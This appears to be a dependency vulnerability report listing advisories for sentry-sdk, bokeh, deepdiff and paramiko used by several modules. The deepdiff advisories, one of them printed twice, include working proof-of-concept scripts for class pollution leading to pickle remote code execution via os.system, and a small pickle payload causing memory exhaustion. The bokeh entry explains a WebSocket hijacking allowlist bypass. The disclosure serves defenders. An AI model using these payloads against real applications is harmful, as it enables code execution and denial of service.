you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule. ### References - [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb) - [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/) - [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) ### Credits - [Tom Wolters (Chapter8)](https://chapter8.com)
GHSA-g92j-qhmh-64v2 2.8.0, 1.45.1 sentry
Show details
### Impact The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting. ### Details In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example: ``` >>> subprocess.check_output(["env"], env={"TEST":"1"}) b'TEST=1\n' ``` If you'd want to not pass any variables, you can set an empty dict: ``` >>> subprocess.check_output(["env"], env={}) b'' ``` However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default. ### Patches The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1). ### Workarounds We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options: 1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar. OR 2. Disable Stdlib integration: ``` import sentry_sdk # Should go before sentry_sdk.init sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration") sentry_sdk.init(...) ``` ### References * Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/) * Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html) * Patch https://github.com/getsentry/sentry-python/pull/3251

5 vulnerabilities across 3 packages, affecting 3 modules.

bokeh==3.6.3
ID Fixed In Affected modules Details
GHSA-793v-589g-574v 3.8.2 web_widget_bokeh_chart
Show details
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. ### Scope This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. ### Impact If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. ### Patches Patched in versions 3.8.2 and later. ### Workarounds None ### Technical description The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted. Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match. For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match: 1. `host` parts: `['example', 'com', 'bad', 'com']` 2. `pattern` parts: `['example', 'com']` 3. `zip` compares `example==example` (OK) and `com==com` (OK). 4. Iteration stops, and the function returns `True`.
deepdiff<8
ID Fixed In Affected modules Details
GHSA-mw26-5g2v-hqw3 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
PYSEC-2026-327 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
GHSA-54jj-px8x-5w5q 8.6.2 l10n_es_aeat_sii_match
Show details
### Summary The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data. ### Details CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors. It can be exploited in 2 ways. **1 - During `pickle_load`** A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called. ``` GLOBAL builtins.bytes (passes find_class check — serialization.py:353) INT 10000000000 (10 billion) TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB ``` **2 - During delta application** A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard. ### PoC The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation. ```python import resource import sys def limit_memory(maxsize_mb): """Cap virtual memory for this process.""" soft, hard = resource.getrlimit(resource.RLIMIT_AS) maxsize_bytes = maxsize_mb * 1024 * 1024 try: resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard)) print(f"[*] Memory limit set to {maxsize_mb} MB") except ValueError: print("[!] Failed to set memory limit.") sys.exit(1) # Load heavy imports before enforcing the limit from deepdiff import Delta from deepdiff.serialization import pickle_dump, pickle_load limit_memory(1024) # --- Delta application path --- payload_dict = { 'values_changed': {"root['x']": {'new_value': 10**8}}, 'type_changes': {"root['x']": {'new_type': bytes}}, } payload1 = pickle_dump(payload_dict) print(f"Payload size: {len(payload1)} bytes") target = {'x': 'anything'} try: result = target + Delta(payload1) print(f"Allocated: {len(result['x']) // 1024 // 1024} MB") print(f"Amplification: {len(result['x']) // len(payload1)}x") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") # --- Raw pickle path --- payload2 = ( b"(dp0\n" b"S'_'\n" b"cbuiltins\nbytes\n" b"(I100000000\n" b"tR" b"s." ) print(f"Payload size: {len(payload2)} bytes") try: result2 = pickle_load(payload2) print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") ``` Output: ``` [*] Memory limit set to 1024 MB Payload size: 123 bytes Allocated: 95 MB Amplification: 813008x Payload size: 42 bytes Allocated: 95 MB ``` ### Impact Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion. The amplification is large. 800,000x for delta and 2,000,000x for raw pickle. Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
paramiko<4.0.0
ID Fixed In Affected modules Details
GHSA-r374-rxx8-8654 auto_backup
Show details
In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.